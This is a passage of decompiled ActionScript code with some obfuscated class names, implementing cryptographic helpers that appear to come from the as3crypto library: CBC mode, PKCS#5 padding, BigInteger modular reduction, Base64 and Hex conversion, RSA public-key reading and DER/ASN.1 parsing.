            this.padding = null;
            this.prng.dispose();
            this.prng = null;
            Memory.gc();
        }
    
        public function set IV(_arg_1:ByteArray):void
        {
            this.iv = _arg_1;
            this.lastIV.length = 0;
            this.lastIV.writeBytes(this.iv);
        }
    
        public function get IV():ByteArray
        {
            return (this.lastIV);
        }
    
        protected function getIV4e():ByteArray
        {
            var _local_1:ByteArray = new ByteArray();
            if (this.iv){
                _local_1.writeBytes(this.iv);
            }
            else {
                this.prng.nextBytes(_local_1, this.blockSize);
            };
            this.lastIV.length = 0;
            this.lastIV.writeBytes(_local_1);
            return (_local_1);
        }
    
        protected function getIV4d():ByteArray
        {
            var _local_1:ByteArray = new ByteArray();
            if (this.iv){
                _local_1.writeBytes(this.iv);
            }
            else {
                throw (new Error("an IV must be set before calling decrypt()"));
            };
            return (_local_1);
        }
    
    
    }
    class _SEWEGXWIEEM implements IPad 
    {
    
        public var blockSize:uint;
    
        public function _SEWEGXWIEEM(_arg_1:uint=0)
        {
            this.blockSize = _arg_1;
        }
    
        public function pad(_arg_1:ByteArray):void
        {
            var _local_2:uint;
            var _local_3:uint;
            _local_2 = (this.blockSize - (_arg_1.length % this.blockSize));
            _local_3 = 0;
            while (_local_3 < _local_2) {
                _arg_1[_arg_1.length] = _local_2;
                _local_3++;
            };
        }
    
        public function unpad(_arg_1:ByteArray):void
        {
            var _local_2:uint;
            var _local_3:uint;
            var _local_4:uint;
            _local_2 = (_arg_1.length % this.blockSize);
            if (_local_2 != 0){
                throw (new Error("PKCS#5::unpad: ByteArray.length isn't a multiple of the blockSize"));
            };
            _local_2 = _arg_1[(_arg_1.length - 1)];
            _local_3 = _local_2;
            while (_local_3 > 0) {
                _local_4 = _arg_1[(_arg_1.length - 1)];
                _arg_1.length--;
                if (_local_2 != _local_4){
                    throw (new Error((((("PKCS#5:unpad: Invalid padding value. expected [" + _local_2) + "], found [") + _local_4) + "]")));
                };
                _local_3--;
            };
        }
    
        public function setBlockSize(_arg_1:uint):void
        {
            this.blockSize = _arg_1;
        }
    
    
    }
    class _SDIDIWOHGD implements IMode, ICipher 
    {
    
        protected var mode:IVMode;
        protected var cipher:ICipher;
    
        public function _SDIDIWOHGD(_arg_1:IVMode)
        {
            this.mode = _arg_1;
            this.cipher = (_arg_1 as ICipher);
        }
    
        public function getBlockSize():uint
        {
            return (this.mode.getBlockSize());
        }
    
        public function dispose():void
        {
            this.mode.dispose();
            this.mode = null;
            this.cipher = null;
            Memory.gc();
        }
    
        public function encrypt(_arg_1:ByteArray):void
        {
            var _local_2:ByteArray;
            this.cipher.encrypt(_arg_1);
            _local_2 = new ByteArray();
            _local_2.writeBytes(this.mode.IV);
            _local_2.writeBytes(_arg_1);
            _arg_1.position = 0;
            _arg_1.writeBytes(_local_2);
        }
    
        public function decrypt(_arg_1:ByteArray):void
        {
            var _local_2:ByteArray;
            _local_2 = new ByteArray();
            _local_2.writeBytes(_arg_1, 0, this.getBlockSize());
            this.mode.IV = _local_2;
            _local_2 = new ByteArray();
            _local_2.writeBytes(_arg_1, this.getBlockSize());
            this.cipher.decrypt(_local_2);
            _arg_1.length = 0;
            _arg_1.writeBytes(_local_2);
        }
    
        public function toString():String
        {
            return (("simple-" + this.cipher.toString()));
        }
    
    
    }
    class _SDXGEILDEDH extends IVMode implements IMode 
    {
    
        public function _SDXGEILDEDH(_arg_1:*, _arg_2:IPad=null)
        {
            super(_arg_1, _arg_2);
        }
    
        public function encrypt(_arg_1:ByteArray):void
        {
            var _local_2:ByteArray;
            var _local_3:uint;
            var _local_4:uint;
            padding.pad(_arg_1);
            _local_2 = getIV4e();
            _local_3 = 0;
            while (_local_3 < _arg_1.length) {
                _local_4 = 0;
                while (_local_4 < blockSize) {
                    _arg_1[(_local_3 + _local_4)] = (_arg_1[(_local_3 + _local_4)] ^ _local_2[_local_4]);
                    _local_4++;
                };
                key.encrypt(_arg_1, _local_3);
                _local_2.position = 0;
                _local_2.writeBytes(_arg_1, _local_3, blockSize);
                _local_3 = (_local_3 + blockSize);
            };
        }
    
        public function decrypt(_arg_1:ByteArray):void
        {
            var _local_2:ByteArray;
            var _local_3:ByteArray;
            var _local_4:uint;
            var _local_5:uint;
            _local_2 = getIV4d();
            _local_3 = new ByteArray();
            _local_4 = 0;
            while (_local_4 < _arg_1.length) {
                _local_3.position = 0;
                _local_3.writeBytes(_arg_1, _local_4, blockSize);
                key.decrypt(_arg_1, _local_4);
                _local_5 = 0;
                while (_local_5 < blockSize) {
                    _arg_1[(_local_4 + _local_5)] = (_arg_1[(_local_4 + _local_5)] ^ _local_2[_local_5]);
                    _local_5++;
                };
                _local_2.position = 0;
                _local_2.writeBytes(_local_3, 0, blockSize);
                _local_4 = (_local_4 + blockSize);
            };
            padding.unpad(_arg_1);
        }
    
        public function toString():String
        {
            return ((key.toString() + "-cbc"));
        }
    
    
    }
    class NullReduction implements IReduction 
    {
    
    
        public function revert(_arg_1:BigInteger):BigInteger
        {
            return (_arg_1);
        }
    
        public function mulTo(_arg_1:BigInteger, _arg_2:BigInteger, _arg_3:BigInteger):void
        {
            _arg_1.multiplyTo(_arg_2, _arg_3);
        }
    
        public function sqrTo(_arg_1:BigInteger, _arg_2:BigInteger):void
        {
            _arg_1.squareTo(_arg_2);
        }
    
        public function convert(_arg_1:BigInteger):BigInteger
        {
            return (_arg_1);
        }
    
        public function reduce(_arg_1:BigInteger):void
        {
        }
    
    
    }
    class ClassicReduction implements IReduction 
    {
    
        /*private*/ var m:BigInteger;
    
        public function ClassicReduction(_arg_1:BigInteger)
        {
            this.m = _arg_1;
        }
    
        public function convert(_arg_1:BigInteger):BigInteger
        {
            if ((((_arg_1.s < 0)) || ((_arg_1.compareTo(this.m) >= 0)))){
                return (_arg_1.mod(this.m));
            };
            return (_arg_1);
        }
    
        public function revert(_arg_1:BigInteger):BigInteger
        {
            return (_arg_1);
        }
    
        public function reduce(_arg_1:BigInteger):void
        {
            _arg_1.divRemTo(this.m, null, _arg_1);
        }
    
        public function mulTo(_arg_1:BigInteger, _arg_2:BigInteger, _arg_3:BigInteger):void
        {
            _arg_1.multiplyTo(_arg_2, _arg_3);
            this.reduce(_arg_3);
        }
    
        public function sqrTo(_arg_1:BigInteger, _arg_2:BigInteger):void
        {
            _arg_1.squareTo(_arg_2);
            this.reduce(_arg_2);
        }
    
    
    }
    class MontgomeryReduction implements IReduction 
    {
    
        /*private*/ var m:BigInteger;
        /*private*/ var mp:int;
        /*private*/ var mpl:int;
        /*private*/ var mph:int;
        /*private*/ var um:int;
        /*private*/ var mt2:int;
    
        public function MontgomeryReduction(_arg_1:BigInteger)
        {
            this.m = _arg_1;
            this.mp = _arg_1.invDigit();
            this.mpl = (this.mp & 32767);
            this.mph = (this.mp >> 15);
            this.um = ((1 << (BigInteger.DB - 15)) - 1);
            this.mt2 = (2 * _arg_1.t);
        }
    
        public function convert(_arg_1:BigInteger):BigInteger
        {
            var _local_2:BigInteger;
            _local_2 = new BigInteger();
            _arg_1.abs().dlShiftTo(this.m.t, _local_2);
            _local_2.divRemTo(this.m, null, _local_2);
            if ((((_arg_1.s < 0)) && ((_local_2.compareTo(BigInteger.ZERO) > 0)))){
                this.m.subTo(_local_2, _local_2);
            };
            return (_local_2);
        }
    
        public function revert(_arg_1:BigInteger):BigInteger
        {
            var _local_2:BigInteger;
            _local_2 = new BigInteger();
            _arg_1.copyTo(_local_2);
            this.reduce(_local_2);
            return (_local_2);
        }
    
        public function reduce(_arg_1:BigInteger):void
        {
            var _local_2:int;
            var _local_3:int;
            var _local_4:int;
            while (_arg_1.t <= this.mt2) {
                var _local_5 = _arg_1.t++;
                _arg_1.a[_local_5] = 0;
            };
            _local_2 = 0;
            while (_local_2 < this.m.t) {
                _local_3 = (_arg_1.a[_local_2] & 32767);
                _local_4 = (((_local_3 * this.mpl) + ((((_local_3 * this.mph) + ((_arg_1.a[_local_2] >> 15) * this.mpl)) & this.um) << 15)) & BigInteger.DM);
                _local_3 = (_local_2 + this.m.t);
                _arg_1.a[_local_3] = (_arg_1.a[_local_3] + this.m.am(0, _local_4, _arg_1, _local_2, 0, this.m.t));
                while (_arg_1.a[_local_3] >= BigInteger.DV) {
                    _arg_1.a[_local_3] = (_arg_1.a[_local_3] - BigInteger.DV);
                    _local_5 = _arg_1.a;
                    var _local_6 = ++_local_3;
                    var _local_7 = (_local_5[_local_6] + 1);
                    _local_5[_local_6] = _local_7;
                };
                _local_2++;
            };
            _arg_1.clamp();
            _arg_1.drShiftTo(this.m.t, _arg_1);
            if (_arg_1.compareTo(this.m) >= 0){
                _arg_1.subTo(this.m, _arg_1);
            };
        }
    
        public function sqrTo(_arg_1:BigInteger, _arg_2:BigInteger):void
        {
            _arg_1.squareTo(_arg_2);
            this.reduce(_arg_2);
        }
    
        public function mulTo(_arg_1:BigInteger, _arg_2:BigInteger, _arg_3:BigInteger):void
        {
            _arg_1.multiplyTo(_arg_2, _arg_3);
            this.reduce(_arg_3);
        }
    
    
    }
    class BarrettReduction implements IReduction 
    {
    
        /*private*/ var m:BigInteger;
        /*private*/ var r2:BigInteger;
        /*private*/ var q3:BigInteger;
        /*private*/ var mu:BigInteger;
    
        public function BarrettReduction(_arg_1:BigInteger)
        {
            this.r2 = new BigInteger();
            this.q3 = new BigInteger();
            BigInteger.ONE.dlShiftTo((2 * _arg_1.t), this.r2);
            this.mu = this.r2.divide(_arg_1);
            this.m = _arg_1;
        }
    
        public function revert(_arg_1:BigInteger):BigInteger
        {
            return (_arg_1);
        }
    
        public function mulTo(_arg_1:BigInteger, _arg_2:BigInteger, _arg_3:BigInteger):void
        {
            _arg_1.multiplyTo(_arg_2, _arg_3);
            this.reduce(_arg_3);
        }
    
        public function sqrTo(_arg_1:BigInteger, _arg_2:BigInteger):void
        {
            _arg_1.squareTo(_arg_2);
            this.reduce(_arg_2);
        }
    
        public function convert(_arg_1:BigInteger):BigInteger
        {
            var _local_2:BigInteger;
            if ((((_arg_1.s < 0)) || ((_arg_1.t > (2 * this.m.t))))){
                return (_arg_1.mod(this.m));
            };
            if (_arg_1.compareTo(this.m) < 0){
                return (_arg_1);
            };
            _local_2 = new BigInteger();
            _arg_1.copyTo(_local_2);
            this.reduce(_local_2);
            return (_local_2);
        }
    
        public function reduce(_arg_1:BigInteger):void
        {
            var _local_2:BigInteger;
            _local_2 = (_arg_1 as BigInteger);
            _local_2.drShiftTo((this.m.t - 1), this.r2);
            if (_local_2.t > (this.m.t + 1)){
                _local_2.t = (this.m.t + 1);
                _local_2.clamp();
            };
            this.mu.multiplyUpperTo(this.r2, (this.m.t + 1), this.q3);
            this.m.multiplyLowerTo(this.q3, (this.m.t + 1), this.r2);
            while (_local_2.compareTo(this.r2) < 0) {
                _local_2.dAddOffset(1, (this.m.t + 1));
            };
            _local_2.subTo(this.r2, _local_2);
            while (_local_2.compareTo(this.m) >= 0) {
                _local_2.subTo(this.m, _local_2);
            };
        }
    
    
    }
    class Memory 
    {
    
    
        public static function gc():void
        {
            try {
                new LocalConnection().connect("foo");
                new LocalConnection().connect("foo");
            }
            catch(e) {
            };
        }
    
        public static function get used():uint
        {
            return (System.totalMemory);
        }
    
    
    }
    class Hex 
    {
    
    
        public static function toArray(_arg_1:String):ByteArray
        {
            _arg_1 = _arg_1.replace(/\s|:/gm, "");
            var _local_2:ByteArray = new ByteArray();
            if ((_arg_1.length & (1 == 1))){
                _arg_1 = ("0" + _arg_1);
            };
            var _local_3:uint;
            while (_local_3 < _arg_1.length) {
                _local_2[(_local_3 / 2)] = parseInt(_arg_1.substr(_local_3, 2), 16);
                _local_3 = (_local_3 + 2);
            };
            return (_local_2);
        }
    
        public static function fromArray(_arg_1:ByteArray, _arg_2:Boolean=false):String
        {
            var _local_3 = "";
            var _local_4:uint;
            while (_local_4 < _arg_1.length) {
                _local_3 = (_local_3 + ("0" + _arg_1[_local_4].toString(16)).substr(-2, 2));
                if (_arg_2){
                    if (_local_4 < (_arg_1.length - 1)){
                        _local_3 = (_local_3 + ":");
                    };
                };
                _local_4++;
            };
            return (_local_3);
        }
    
        public static function toString(_arg_1:String):String
        {
            var _local_2:ByteArray = toArray(_arg_1);
            return (_local_2.readUTFBytes(_local_2.length));
        }
    
        public static function fromString(_arg_1:String, _arg_2:Boolean=false):String
        {
            var _local_3:ByteArray = new ByteArray();
            _local_3.writeUTFBytes(_arg_1);
            return (fromArray(_local_3, _arg_2));
        }
    
    
    }
    class _SEGXOIIMDXX 
    {
    
    
        public static function readRSAPublicKey(_arg_1:String):_SLXOGXMDOX
        {
            var _local_4:Array;
            var _local_2:ByteArray = extractBinary("-----BEGIN PUBLIC KEY-----", "-----END PUBLIC KEY-----", _arg_1);
            if (_local_2 == null){
                return (null);
            };
            var _local_3:* = DER.parse(_local_2);
            if ((_local_3 is Array)){
                _local_4 = (_local_3 as Array);
                if (_local_4[0][0].toString() != "1.2.840.113549.1.1.1"){
                    return (null);
                };
                _local_4[1].position = 0;
                _local_3 = DER.parse(_local_4[1]);
                if ((_local_3 is Array)){
                    _local_4 = (_local_3 as Array);
                    return (new _SLXOGXMDOX(_local_4[0], _local_4[1]));
                };
                return (null);
            };
            return (null);
        }
    
        /*private*/ static function extractBinary(_arg_1:String, _arg_2:String, _arg_3:String):ByteArray
        {
            var _local_4:int = _arg_3.indexOf(_arg_1);
            if (_local_4 == -1){
                return (null);
            };
            _local_4 = (_local_4 + _arg_1.length);
            var _local_5:int = _arg_3.indexOf(_arg_2);
            if (_local_5 == -1){
                return (null);
            };
            var _local_6:String = _arg_3.substring(_local_4, _local_5);
            _local_6 = _local_6.replace(/\s/mg, "");
            return (_SEMOMHOGHLL.decodeToByteArray(_local_6));
        }
    
    
    }
    class _SEMOMHOGHLL 
    {
    
        /*private*/ static const BASE64_CHARS:String = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
        public static const version:String = "1.0.0";
    
        public function _SEMOMHOGHLL()
        {
            throw (new Error("Base64 internal class is static container only"));
        }
    
        public static function encode(_arg_1:String):String
        {
            var _local_2:ByteArray = new ByteArray();
            _local_2.writeUTFBytes(_arg_1);
            return (encodeByteArray(_local_2));
        }
    
        public static function encodeByteArray(_arg_1:ByteArray):String
        {
            var _local_3:Array;
            var _local_5:uint;
            var _local_6:uint;
            var _local_7:uint;
            var _local_2 = "";
            var _local_4:Array = new Array(4);
            _arg_1.position = 0;
            while (_arg_1.bytesAvailable > 0) {
                _local_3 = new Array();
                _local_5 = 0;
                while ((((_local_5 < 3)) && ((_arg_1.bytesAvailable > 0)))) {
                    _local_3[_local_5] = _arg_1.readUnsignedByte();
                    _local_5++;
                };
                _local_4[0] = ((_local_3[0] & 252) >> 2);
                _local_4[1] = (((_local_3[0] & 3) << 4) | (_local_3[1] >> 4));
                _local_4[2] = (((_local_3[1] & 15) << 2) | (_local_3[2] >> 6));
                _local_4[3] = (_local_3[2] & 63);
                _local_6 = _local_3.length;
                while (_local_6 < 3) {
                    _local_4[(_local_6 + 1)] = 64;
                    _local_6++;
                };
                _local_7 = 0;
                while (_local_7 < _local_4.length) {
                    _local_2 = (_local_2 + BASE64_CHARS.charAt(_local_4[_local_7]));
                    _local_7++;
                };
            };
            return (_local_2);
        }
    
        public static function decode(_arg_1:String):String
        {
            var _local_2:ByteArray = decodeToByteArrayB(_arg_1);
            return (_local_2.readUTFBytes(_local_2.length));
        }
    
        public static function decodeToByteArray(_arg_1:String):ByteArray
        {
            var _local_6:uint;
            var _local_7:uint;
            var _local_2:ByteArray = new ByteArray();
            var _local_3:Array = new Array(4);
            var _local_4:Array = new Array(3);
            var _local_5:uint;
            while (_local_5 < _arg_1.length) {
                _local_6 = 0;
                while ((((_local_6 < 4)) && (((_local_5 + _local_6) < _arg_1.length)))) {
                    _local_3[_local_6] = BASE64_CHARS.indexOf(_arg_1.charAt((_local_5 + _local_6)));
                    _local_6++;
                };
                _local_4[0] = ((_local_3[0] << 2) + ((_local_3[1] & 48) >> 4));
                _local_4[1] = (((_local_3[1] & 15) << 4) + ((_local_3[2] & 60) >> 2));
                _local_4[2] = (((_local_3[2] & 3) << 6) + _local_3[3]);
                _local_7 = 0;
                while (_local_7 < _local_4.length) {
                    if (_local_3[(_local_7 + 1)] == 64) break;
                    _local_2.writeByte(_local_4[_local_7]);
                    _local_7++;
                };
                _local_5 = (_local_5 + 4);
            };
            _local_2.position = 0;
            return (_local_2);
        }
    
        public static function decodeToByteArrayB(_arg_1:String):ByteArray
        {
            var _local_6:uint;
            var _local_7:uint;
            var _local_2:ByteArray = new ByteArray();
            var _local_3:Array = new Array(4);
            var _local_4:Array = new Array(3);
            var _local_5:uint;
            while (_local_5 < _arg_1.length) {
                _local_6 = 0;
                while ((((_local_6 < 4)) && (((_local_5 + _local_6) < _arg_1.length)))) {
                    _local_3[_local_6] = BASE64_CHARS.indexOf(_arg_1.charAt((_local_5 + _local_6)));
                    while ((((_local_3[_local_6] < 0)) && ((_local_5 < _arg_1.length)))) {
                        _local_5++;
                        _local_3[_local_6] = BASE64_CHARS.indexOf(_arg_1.charAt((_local_5 + _local_6)));
                    };
                    _local_6++;
                };
                _local_4[0] = ((_local_3[0] << 2) + ((_local_3[1] & 48) >> 4));
                _local_4[1] = (((_local_3[1] & 15) << 4) + ((_local_3[2] & 60) >> 2));
                _local_4[2] = (((_local_3[2] & 3) << 6) + _local_3[3]);
                _local_7 = 0;
                while (_local_7 < _local_4.length) {
                    if (_local_3[(_local_7 + 1)] == 64) break;
                    _local_2.writeByte(_local_4[_local_7]);
                    _local_7++;
                };
                _local_5 = (_local_5 + 4);
            };
            _local_2.position = 0;
            return (_local_2);
        }
    
    
    }
    class DER 
    {
    
        public static var indent:String = "";
    
    
        public static function parse(_arg_1:ByteArray, _arg_2:*=null):IAsn1Type
        {
            var _local_3:int;
            var _local_5:int;
            var _local_6:ByteArray;
            var _local_7:int;
            var _local_8:int;
            var _local_9:Sequence;
            var _local_10:Array;
            var _local_11:Set;
            var _local_12:ByteString;
            var _local_13:PrintableString;
            var _local_14:UTCTime;
            var _local_15:Object;
            var _local_16:Boolean;
            var _local_17:Boolean;
            var _local_18:String;
            var _local_19:*;
            var _local_20:IAsn1Type;
            var _local_21:int;
            var _local_22:ByteArray;
            _local_3 = _arg_1.readUnsignedByte();
            var _local_4 = !(((_local_3 & 32) == 0));
            _local_3 = (_local_3 & 31);
            _local_5 = _arg_1.readUnsignedByte();
            if (_local_5 >= 128){
                _local_7 = (_local_5 & 127);
                _local_5 = 0;
                while (_local_7 > 0) {
                    _local_5 = ((_local_5 << 8) | _arg_1.readUnsignedByte());
                    _local_7--;
                };
            };
            switch (_local_3){
                case 0:
                case 16:
                    _local_8 = _arg_1.position;
                    _local_9 = new Sequence(_local_3, _local_5);
                    _local_10 = (_arg_2 as Array);
                    if (_local_10 != null){
                        _local_10 = _local_10.concat();
                    };
                    while (_arg_1.position < (_local_8 + _local_5)) {
                        _local_15 = null;
                        if (_local_10 != null){
                            _local_15 = _local_10.shift();
                        };
                        if (_local_15 != null){
                            while (((_local_15) && (_local_15.optional))) {
                                _local_16 = (_local_15.value is Array);
                                _local_17 = isConstructedType(_arg_1);
                                if (_local_16 != _local_17){
                                    _local_9.push(_local_15.defaultValue);
                                    _local_9[_local_15.name] = _local_15.defaultValue;
                                    _local_15 = _local_10.shift();
                                }
                                else {
                                    break;
                                };
                            };
                        };
                        if (_local_15 != null){
                            _local_18 = _local_15.name;
                            _local_19 = _local_15.value;
                            if (_local_15.extract){
                                _local_21 = getLengthOfNextElement(_arg_1);
                                _local_22 = new ByteArray();
                                _local_22.writeBytes(_arg_1, _arg_1.position, _local_21);
                                _local_9[(_local_18 + "_bin")] = _local_22;
                            };
                            _local_20 = DER.parse(_arg_1, _local_19);
                            _local_9.push(_local_20);
                            _local_9[_local_18] = _local_20;
                        }
                        else {
                            _local_9.push(DER.parse(_arg_1));
                        };
                    };
                    return (_local_9);
                case 17:
                    _local_8 = _arg_1.position;
                    _local_11 = new Set(_local_3, _local_5);
                    while (_arg_1.position < (_local_8 + _local_5)) {
                        _local_11.push(DER.parse(_arg_1));
                    };
                    return (_local_11);
                case 2:
                    _local_6 = new ByteArray();
                    _arg_1.readBytes(_local_6, 0, _local_5);
                    _local_6.position = 0;
                    return (new Integer(_local_3, _local_5, _local_6));
                case 6:
                    _local_6 = new ByteArray();
                    _arg_1.readBytes(_local_6, 0, _local_5);
                    _local_6.position = 0;
                    return (new ObjectIdentifier(_local_3, _local_5, _local_6));
                case 3:
                default:
                    if (_arg_1[_arg_1.position] == 0){
                        _arg_1.position++;
                        _local_5--;
                    };
                case 4:
                    _local_12 = new ByteString(_local_3, _local_5);
                    _arg_1.readBytes(_local_12, 0, _local_5);
                    return (_local_12);
                case 5:
                    return (null);
                case 19:
                    _local_13 = new PrintableString(_local_3, _local_5);
                    _local_13.setString(_arg_1.readMultiByte(_local_5, "US-ASCII"));
                    return (_local_13);
                case 34:
                case 20:
                    _local_13 = new PrintableString(_local_3, _local_5);
                    _local_13.setString(_arg_1.readMultiByte(_local_5, "latin1"));
                    return (_local_13);
                case 23:
                    _local_14 = new UTCTime(_local_3, _local_5);
                    _local_14.setUTCTime(_arg_1.readMultiByte(_local_5, "US-ASCII"));
                    return (_local_14);
            };
        }
    
        /*private*/ static function getLengthOfNextElement(_arg_1:ByteArray):int
        {
            var _local_4:int;
            var _local_2:uint = _arg_1.position;
            _arg_1.position++;
            var _local_3:int = _arg_1.readUnsignedByte();
            if (_local_3 >= 128){
                _local_4 = (_local_3 & 127);
                _local_3 = 0;
                while (_local_4 > 0) {
                    _local_3 = ((_local_3 << 8) | _arg_1.readUnsignedByte());
                    _local_4--;
                };
            };
            _local_3 = (_local_3 + (_arg_1.position - _local_2));
            _arg_1.position = _local_2;
            return (_local_3);
        }
    
        /*private*/ static function isConstructedType(_arg_1:ByteArray):Boolean
        {
            var _local_2:int = _arg_1[_arg_1.position];
            return (!(((_local_2 & 32) == 0)));
        }
    
        public static function wrapDER(_arg_1:int, _arg_2:ByteArray):ByteArray
        {
            var _local_3:ByteArray = new ByteArray();
            _local_3.writeByte(_arg_1);
            var _local_4:int = _arg_2.length;
            if (_local_4 < 128){
                _local_3.writeByte(_local_4);
            }
            else {
                if (_local_4 < 0x0100){
                    _local_3.writeByte((1 | 128));
                    _local_3.writeByte(_local_4);
                }
                else {
                    if (_local_4 < 65536){
                        _local_3.writeByte((2 | 128));
                        _local_3.writeByte((_local_4 >> 8));
                        _local_3.writeByte(_local_4);
                    }
                    else {
                        if (_local_4 < (65536 * 0x0100)){
                            _local_3.writeByte((3 | 128));
                            _local_3.writeByte((_local_4 >> 16));
                            _local_3.writeByte((_local_4 >> 8));
                            _local_3.writeByte(_local_4);
                        }
                        else {
                            _local_3.writeByte((4 | 128));
                            _local_3.writeByte((_local_4 >> 24));
                            _local_3.writeByte((_local_4 >> 16));
                            _local_3.writeByte((_local_4 >> 8));
                            _local_3.writeByte(_local_4);
                        };
                    };
                };
            };
            _local_3.writeBytes(_arg_2);
            _local_3.position = 0;
            return (_local_3);
        }
    
    
    }
    class UTCTime implements IAsn1Type 
    {
    
        protected var type:uint;
        protected var len:uint;
        public var date:Date;
    
        public function UTCTime(_arg_1:uint, _arg_2:uint)
        {
            this.type = _arg_1;
            this.len = _arg_2;
        }
    
        public function getLength():uint
        {
            return (this.len);
        }
    
        public function getType():uint
        {
            return (this.type);
        }
    
        public function setUTCTime(_arg_1:String):void
        {
            var _local_2:uint;
            var _local_3:uint;
            var _local_4:uint;
            var _local_5:uint;
            var _local_6:uint;
            _local_2 = parseInt(_arg_1.substr(0, 2));
            if (_local_2 < 50){
                _local_2 = (_local_2 + 2000);
            }
            else {
                _local_2 = (_local_2 + 1900);
            };
            _local_3 = parseInt(_arg_1.substr(2, 2));
            _local_4 = parseInt(_arg_1.substr(4, 2));
            _local_5 = parseInt(_arg_1.substr(6, 2));
            _local_6 = parseInt(_arg_1.substr(8, 2));
            this.date = new Date(_local_2, (_local_3 - 1), _local_4, _local_5, _local_6);
        }
    
        public function toString():String
        {
            return ((((((((DER.indent + "UTCTime[") + this.type) + "][") + this.len) + "][") + this.date) + "]"));
        }
    
        public function toDER():ByteArray
        {
            return (null);
        }
    
    
    }
    class PrintableString implements IAsn1Type 
    {
    
        protected var type:uint;
        protected var len:uint;
        protected var str:String;
    
        public function PrintableString(_arg_1:uint, _arg_2:uint)
        {
            this.type = _arg_1;
            this.len = _arg_2;
        }
    
        public function getLength():uint
        {
            return (this.len);
        }
    
        public function getType():uint
        {
            return (this.type);
        }
    
        public function setString(_arg_1:String):void
        {
            this.str = _arg_1;
        }
    
        public function getString():String
        {
            return (this.str);
        }
    
        public function toString():String
        {
            return ((DER.indent + this.str));
        }
    
        public function toDER():ByteArray
        {
            return (null);
        }
    
    
    }
    dynamic class Sequence extends Array implements IAsn1Type 
    {
    
        protected var type:uint;
        protected var len:uint;
    
        public function Sequence(_arg_1:uint=48, _arg_2:uint=0)
        {
            this.type = _arg_1;
            this.len = _arg_2;
        }
    
        public function getLength():uint
        {
            return (this.len);
        }
    
        public function getType():uint
        {
            return (this.type);
        }
    
        public function toDER():ByteArray
        {
            var _local_1:ByteArray;
            var _local_2:int;
            var _local_3:IAsn1Type;
            _local_1 = new ByteArray();
            _local_2 = 0;
            while (_local_2 < length) {
                _local_3 = this[_local_2];
                if (_local_3 == null){
                    _local_1.writeByte(5);
                    _local_1.writeByte(0);
                }
                else {
                    _local_1.writeBytes(_local_3.toDER());
                };
                _local_2++;
            };
            return (DER.wrapDER(this.type, _local_1));
        }
    
        public function toString():String
        {
            var _local_1:String;
            var _local_2:String;
            var _local_3:int;
            var _local_4:Boolean;
            var _local_5:String;
            _local_1 = DER.indent;
            DER.indent = (DER.indent + "    ");
            _local_2 = "";
            _local_3 = 0;
            while (_local_3 < length) {
                if (this[_local_3] != null){
                    _local_4 = false;
                    for (_local_5 in this) {
                        if (((!((_local_3.toString() == _local_5))) && ((this[_local_3] == this[_local_5])))){
                            _local_2 = (_local_2 + (((_local_5 + ": ") + this[_local_3]) + "\n"));
                            _local_4 = true;
                            break;
                        };
                    };
                    if (!_local_4){
                        _local_2 = (_local_2 + (this[_local_3] + "\n"));
                    };
                };
                _local_3++;
            };
            DER.indent = _local_1;
            return ((((((((((DER.indent + "Sequence[") + this.type) + "][") + this.len) + "][\n") + _local_2) + "\n") + _local_1) + "]"));
        }
    
        public function findAttributeValue(_arg_1:String):IAsn1Type
        {
            var _local_2:*;
            var _local_3:*;
            var _local_4:*;
            var _local_5:ObjectIdentifier;
            for each (_local_2 in this) {
                if ((_local_2 is Set)){
                    _local_3 = _local_2[0];
                    if ((_local_3 is Sequence)){
                        _local_4 = _local_3[0];
                        if ((_local_4 is ObjectIdentifier)){
                            _local_5 = (_local_4 as ObjectIdentifier);
                            if (_local_5.toString() == _arg_1){
                                return ((_local_3[1] as IAsn1Type));
                            };
                        };
                    };
                };
            };
            return (null);
        }
    
    
    }
    dynamic class Set extends Sequence implements IAsn1Type 
    {
    
        public function Set(_arg_1:uint=49, _arg_2:uint=0)
        {
            super(_arg_1, _arg_2);
        }
    
        override public function toString():String
        {
            var _local_1:String;
            var _local_2:String;
            _local_1 = DER.indent;
            DER.indent = (DER.indent + "    ");
            _local_2 = join("\n");
            DER.indent = _local_1;
            return ((((((((((DER.indent + "Set[") + type) + "][") + len) + "][\n") + _local_2) + "\n") + _local_1) + "]"));
        }
    
    
    }
    class ObjectIdentifier implements IAsn1Type 
    {
    
        /*private*/ var type:uint;
        /*private*/ var len:uint;
        /*private*/ var oid:Array;
    
        {
            registerClassAlias("com.hurlant.util.der.ObjectIdentifier", ObjectIdentifier);
        }
    
        public function ObjectIdentifier(_arg_1:uint=0, _arg_2:uint=0, _arg_3:*=null)
        {
            this.type = _arg_1;
            this.len = _arg_2;
            if ((_arg_3 is ByteArray)){
                this.parse((_arg_3 as ByteArray));
            }
            else {
                if ((_arg_3 is String)){
                    this.generate((_arg_3 as String));
                }
                else {
                    throw (new Error("Invalid call to new ObjectIdentifier"));
                };
            };
        }
    
        /*private*/ function generate(_arg_1:String):void
        {
            this.oid = _arg_1.split(".");
        }
    
        /*private*/ function parse(_arg_1:ByteArray):void
        {
            var _local_2:uint;
            var _local_3:Array;
            var _local_4:uint;
            var _local_5:Boolean;
            _local_2 = _arg_1.readUnsignedByte();
            _local_3 = [];
            _local_3.push(uint((_local_2 / 40)));
            _local_3.push(uint((_local_2 % 40)));
            _local_4 = 0;
            while (_arg_1.bytesAvailable > 0) {
                _local_2 = _arg_1.readUnsignedByte();
                _local_5 = ((_local_2 & 128) == 0);
                _local_2 = (_local_2 & 127);
                _local_4 = ((_local_4 * 128) + _local_2);
                if (_local_5){
                    _local_3.push(_local_4);
                    _local_4 = 0;
                };
            };
            this.oid = _local_3;
        }
    
        public function getLength():uint
        {
            return (this.len);
        }
    
        public function getType():uint
        {
            return (this.type);
        }
    
        public function toDER():ByteArray
        {
            var _local_1:Array;
            var _local_2:int;
            var _local_3:ByteArray;
            var _local_4:int;
            _local_1 = [];
            _local_1[0] = ((this.oid[0] * 40) + this.oid[1]);
            _local_2 = 2;
            while (_local_2 < this.oid.length) {
                _local_4 = parseInt(this.oid[_local_2]);
                if (_local_4 < 128){
                    _local_1.push(_local_4);
                }
                else {
                    if (_local_4 < (128 * 128)){
                        _local_1.push(((_local_4 >> 7) | 128));
                        _local_1.push((_local_4 & 127));
                    }
                    else {
                        if (_local_4 < ((128 * 128) * 128)){
                            _local_1.push(((_local_4 >> 14) | 128));
                            _local_1.push((((_local_4 >> 7) & 127) | 128));
                            _local_1.push((_local_4 & 127));
                        }
                        else {
                            if (_local_4 < (((128 * 128) * 128) * 128)){
